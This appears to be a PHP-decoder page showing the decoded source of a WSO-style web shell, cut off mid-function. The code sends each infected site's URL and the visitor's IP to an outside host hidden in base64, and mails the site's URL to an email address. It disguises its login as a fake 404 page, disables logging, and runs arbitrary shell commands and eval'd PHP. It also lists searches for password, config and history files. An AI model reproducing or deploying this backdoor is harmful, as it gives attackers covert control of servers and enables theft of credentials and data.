Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $stt0 = "==giaRh0F8f5IE/G8KH5v3IrqLs6PW3pZepZ8ytzr6s71BYnpA7XVH31eY+tJ+/e60aZbdeepG..
Decoded Output download
<?php
function GetIP(){
if(getenv("HTTP_CLIENT_IP")) {
$ip = getenv("HTTP_CLIENT_IP");
} elseif(getenv("HTTP_X_FORWARDED_FOR")) {
$ip = getenv("HTTP_X_FORWARDED_FOR");
if (strstr($ip, ',')) {
$tmp = explode (',', $ip);
$ip = trim($tmp[0]);
}
} else {
$ip = getenv("REMOTE_ADDR");
}
return $ip;
}
$x = base64_decode('aHR0cDovL2J5cjAwdC5jby9sLQ==').GetIP().'-'.base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
if(function_exists('curl_init'))
{
$ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);
if($gitt == false){
@$gitt = file_get_contents($x);
}
}elseif(function_exists('file_get_contents')){
@$gitt = file_get_contents($x);
}
?><?php $auth_pass = "a6d13df8a46cf713e5cda6a6c0d043bf";
$color = "#00ff66";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found');
exit;
} @session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '');
if( get_magic_quotes_gpc() ) { function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
} $_POST = stripslashes_array($_POST);
} function printLogin() { echo '<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
<style>input { margin:0;
background-color:#fff;
border:1px solid #fff;
}</style>
<center><form method=post><input type=password name=pass></form></center>';
exit;
} if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" ) $os = 'win';
else $os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) ) @chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') { $home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
} if( $cwd[strlen($cwd)-1] != '/' ) $cwd .= '/';
if($os == 'win') { $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" );
} else { $aliases = array( "List dir" => "ls -la", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" =>"locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv" );
} function ex($in) { $out = '';
if(function_exists('exec')) { @exec($in,$out);
$out = @join("
",$out);
}elseif(function_exists('passthru')) { ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')) { ob_start();
@system($in);
$out = ob_get_clean();
}elseif(function_exists('shell_exec')) { $out = shell_exec($in);
}elseif(is_resource($f = @popen($in,"r"))) { $out = "";
while(!@feof($f)) $out .= fread($f,1024);
pclose($f);
} return $out;
} function which($p) { $path = ex('which '.$p);
if(!empty($path)) return $path;
return false;
} function printHeader() { if(empty($_POST['charset'])) $_POST['charset'] = "UTF-8";
global $color;
echo '<html><head><meta http-equiv="Content-Type" content="text/html;
charset='.$_POST['charset'].'"><title>r00t.info wso Shell</title><link REL="SHORTCUT ICON" HREF="http://imagizer.imageshack.us/a/img440/4273/6fix.png">
<style>
body {background-color:#222;
color:#fff;
}
body,td,th { font: 9pt Lucida,Verdana;
margin:0;
vertical-align:top;
}
span,h1,a { color:'.$color.' !important;
}
span { font-weight: bolder;
}
h1 { padding: 2px 5px;
font: 14pt Verdana;
margin:0px 0 0 5px;
}
div.content { padding: 5px;
margin:0 5px;
background: #333333;
border-bottom:5px solid #444;
}
a { text-decoration:none;
}
a:hover { /*background:#5e5e5e;
*/ }
.ml1 { border:1px solid #444;
padding:5px;
margin:0;
overflow: auto;
}
.bigarea { width:100%;
height:250px;
margin-top:5px;
}
input, textarea, select { margin:0;
color:#ff8c00;
background-color:#555;
border:1px solid '.$color.';
font: 9pt Monospace,"Courier New";
}
input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';
color:#000;
}
form { margin:0px;
}
#toolsTbl { text-align:center;
}
.toolsInp { width: 80%;
}
.main th {text-align:left;
background-color:#555;
font-weight: bold;
}
.main tr:hover{background-color:#008080;
}
.main td, th{vertical-align:middle;
}
.menu {background: #333;
}
.menu th{padding:5px;
font-weight:bold;
}
.menu th:hover{background:#008080;
}
.l1 {background-color:#444;
}
pre {font-family:Courier,Monospace;
}
#cot_tl_fixed{position:fixed;
bottom:0px;
font-size:12px;
left:0px;
padding:4px 0;
clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);
_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);
}
.logo {text-align:center;
font-size:60px;
}
.logo sup {font-size: 15px;
vertical-align: top;
margin-left: -14px;
}
.cpr {margin-bottom:5px;
font-weight:bold;
}
.cpb {width:34px;
margin:0 5px;
}
.eca1 {font-size: 16px;
font-weight: bold;
letter-spacing: 10px;
margin: 0 2px 0 17px;
text-align: center;
}
.eca2 {font-size: 13px;
font-weight: bold;
letter-spacing: 3px;
margin: 0 2px 0 7px;
text-align: center;
}
.npoad td {padding:0;
}
</style>
<script>
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;
if(c != null)document.mf.c.value=c;
if(p1 != null)document.mf.p1.value=p1;
if(p2 != null)document.mf.p2.value=p2;
if(p3 != null)document.mf.p3.value=p3;
if(charset != null)document.mf.charset.value=charset;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = "ajax=true";
for(i=0;
i<document.mf.elements.length;
i++)
params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
sr("'.$_SERVER['REQUEST_URI'].'", params);
}
function sr(url, params) {
if (window.XMLHttpRequest) {
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft.XMLHTTP");
if (req) {
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
//alert(req.responseText);
var reg = new RegExp("(\d+)([\S\s]*)", "m");
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
}
else alert("Request error!");
}
</script>
<head><body><div style="position:absolute;
width:100%;
top:0;
left:0;
"><div style="margin:5px;
background:#444;
"><div class="content" style="border-top:5px solid #444;
">
<form method=post name=mf style="display:none;
">
<input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
<input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
<input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
</form>';
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$disable_functions = @ini_get('disable_functions');
$release = @php_uname('r');
$kernel = @php_uname('s');
if(!function_exists('posix_getegid')) { $user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else { $uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
} $cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0;
$i<$n-1;
$i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0;
$j<=$i;
$j++) $cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
} $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item) $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Delete LOG'=>'DeleteLOG','Safe Mode'=>'SafeMode','String tools'=>'StringTools','Cgi'=>'Cgi','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','SQLBUDDY'=>'SQLBUDDY','Bypass'=>'Bypass','Python'=>'Python');
if(!empty($GLOBALS['auth_pass'])) $m['SelfKill'] = 'SelfRemove';
$m['Logout'] = 'Logout';
$menu = '';
foreach($m as $k => $v) $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
$drives = "";
if ($GLOBALS['os'] == 'win') { foreach( range('a','z') as $drive ){ if (is_dir($drive.':\')) $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
} $drives .= '<br />: ';
} if($GLOBALS['os'] == 'nix') { $dominios = @file_get_contents("/etc/named.conf");
if(!$dominios) { $d0c = "CANT READ named.conf";
} else { @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
$out = sizeof(array_unique($out[1]));
$d0c = $out." Domains";
} } else { $d0c = " --- ";
} if($GLOBALS['os'] == 'nix' ) { $usefl = '';
$dwnldr = '';
if(!@ini_get('safe_mode')) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
foreach($userful as $item) { if(which($item)) $usefl.= $item.',';
} $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
foreach($downloaders as $item2) { if(which($item2)) $dwnldr.= $item2.',';
} } else { $usefl = ' ------- ';
$dwnldr = ' ------- ';
} } else { $usefl = ' ------- ';
$dwnldr = ' ------- ';
} echo '<table class="info" cellpadding="0" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo"><img src="http://i.hizliresim.com/z4lrbR.png" id="logo" height="75%" width="90%"/></div><hr style="margin: -5px 13px 2px 17px;
width:160px;
"><div class="eca1"></div><div class="eca2">Hackers</div></td>
<td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;
"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
<tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'. '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'. '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'. '</div></div><div style="margin:5;
background:#444;
"><div class="content" style="border-top:5px solid #444;
padding:2px;
"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;
background:#444;
">';
} function printFooter() { $is_writable = is_writable($GLOBALS['cwd'])?"<font color=#00cd00>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
echo '</div><div style="margin:5px;
background:#444;
"><div class="content" style="border-top:5px solid #444;
">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
<tr>
<td><form onsubmit="g(null,this.c.value);
return false;
"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value);
return false;
"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
</tr>
<tr>
<td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);
return false;
"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');
return false;
"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
</tr>
<tr>
<td><form onsubmit="g(\'Console\',null,this.c.value);
return false;
"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
<td><form method="post" ENCTYPE="multipart/form-data">
<input type=hidden name=a value="FilesMAn">
<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type=hidden name=p1 value="uploadFile">
<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
</tr>
</table></div></div>
<div style="margin:5px;
background:#444;
"><div class="content" style="border-top:5px solid #444;
text-align:center;
font-weight:bold;
">Wso shell'.VERSION.' ©
Shell</div></div>
</div>
</body></html>';
} if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false;
} } if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false;
} } if(!isset($_SESSION['trimite'])){ $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'<br />User IP: '.$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
@mail("[email protected]","Smurfie",$url);
$_SESSION['trimite']=true;
} function viewSize($s) { if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB';
else return $s . ' B';
} function perms($p) { if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
} function viewPermsColor($f) { if (!@is_readable($f)) return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
elseif (!@is_writable($f)) return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
else return '<font color=#00cd00><b>'.perms(@fileperms($f)).'</b></font>';
} if(!function_exists("scandir")) { function scandir($dir) { $dh = opendir($dir);
while (false !== ($filename = readdir($dh))) { $files[] = $filename;
} return $files;
} } function actionSecInfo() { printHeader();
echo '<h1>Server security information</h1><div class=content>';
function showSecParam($n, $v) { $v = trim($v);
if($v) { echo '<span>'.$n.': </span>';
if(strpos($v, "
") === false) echo $v.'<br>';
else echo '<pre class=ml1>'.$v.'</pre>';
} } showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
showSecParam('Open base dir', @ini_get('open_basedir'));
showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info')) $temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect')) $temp[] = "MSSQL";
if(function_exists('pg_connect')) $temp[] = "PostgreSQL";
if(function_exists('oci_connect')) $temp[] = "Oracle";
showSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if( $GLOBALS['os'] == 'nix' ) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
showSecParam('OS version', @file_get_contents('/proc/version'));
showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) { echo '<br>';
$temp=array();
foreach ($userful as $item) if(which($item)){$temp[]=$item;
} showSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item) if(which($item)){$temp[]=$item;
} showSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item) if(which($item)){$temp[]=$item;
} showSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
showSecParam('Hosts', @file_get_contents('/etc/hosts'));
showSecParam('HDD space', ex('df -h'));
showSecParam('Mount options', @file_get_contents('/etc/fstab'));
} } else { showSecParam('OS Version',ex('ver'));
showSecParam('Account Settings',ex('net accounts'));
showSecParam('User Accounts',ex('net user'));
} echo '</div>';
printFooter();
} function actionPhp() { if( isset($_POST['ajax']) ) { $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';
document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
} printHeader();
if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) { echo '<h1>PHP info</h1><div class=content>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!body {.*}!msiU','',$tmp);
$tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
$tmp = preg_replace('!h1!msiU','h2',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
echo $tmp;
echo '</div><br>';
} if(empty($_POST['ajax'])&&!empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);
}else{g(null,null,this.code.value,\'\');
}return false;
"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;
':'').'margin-top:5px;
" class=ml1>';
if(!empty($_POST['p1'])) { ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
} echo '</pre></div>';
printFooter();
} function actionFilesMan() { printHeader();
echo '<h1>File manager</h1><div class=content>';
if(isset($_POST['p1'])) { switch($_POST['p1']) { case 'uploadFile': if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
break;
break;
case 'mkdir': if(!@mkdir($_POST['p2'])) echo "Can't create new dir";
break;
case 'delete': function deleteDir($path) { $path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) { $item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") ) continue;
$type = filetype($item);
if ($type == "dir") deleteDir($item);
else @unlink($item);
} closedir($dh);
rmdir($path);
} if(is_array(@$_POST['f'])) foreach($_POST['f'] as $f) { $f = urldecode($f);
if(is_dir($f)) deleteDir($f);
else @unlink($f);
} break;
case 'paste': if($_SESSION['act'] == 'copy') { function copy_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false) if (($f != ".") and ($f != "..")) { copy_paste($c.$s.'/',$f, $d.$s.'/');
} } elseif(is_file($c.$s)) { @copy($c.$s, $d.$s);
} } foreach($_SESSION['f'] as $f) copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
} elseif($_SESSION['act'] == 'move') { function move_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false) if (($f != ".") and ($f != "..")) { copy_paste($c.$s.'/',$f, $d.$s.'/');
} } elseif(is_file($c.$s)) { @copy($c.$s, $d.$s);
} } foreach($_SESSION['f'] as $f) @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
} unset($_SESSION['f']);
break;
default: if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) { $_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f);
$_SESSION['cwd'] = @$_POST['c'];
} break;
} echo '<script>document.mf.p1.value="";
document.mf.p2.value="";
</script>';
} $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';
return;
} global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) { if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
} echo '<script>
function sa() {
for(i=0;
i<document.files.elements.length;
i++)
if(document.files.elements[i].type == \'checkbox\')
document.files.elements[i].checked = document.files.elements[0].checked;
}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post>';
echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = $links = array();
$n = count($dirContent);
for($i=0;
$i<$n;
$i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'].$dirContent[$i], 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) );
if(@is_file($GLOBALS['cwd'].$dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'].$dirContent[$i])) $links[] = array_merge($tmp, array('type' => 'link'));
elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
} $GLOBALS['sort'] = $sort;
function cmp($a, $b) { if($GLOBALS['sort'][0] != 'size') return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
else return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
} usort($files, "cmp");
usort($dirs, "cmp");
usort($links, "cmp");
$files = array_merge($dirs, $links, $files);
$l = 0;
foreach($files as $f) { echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');
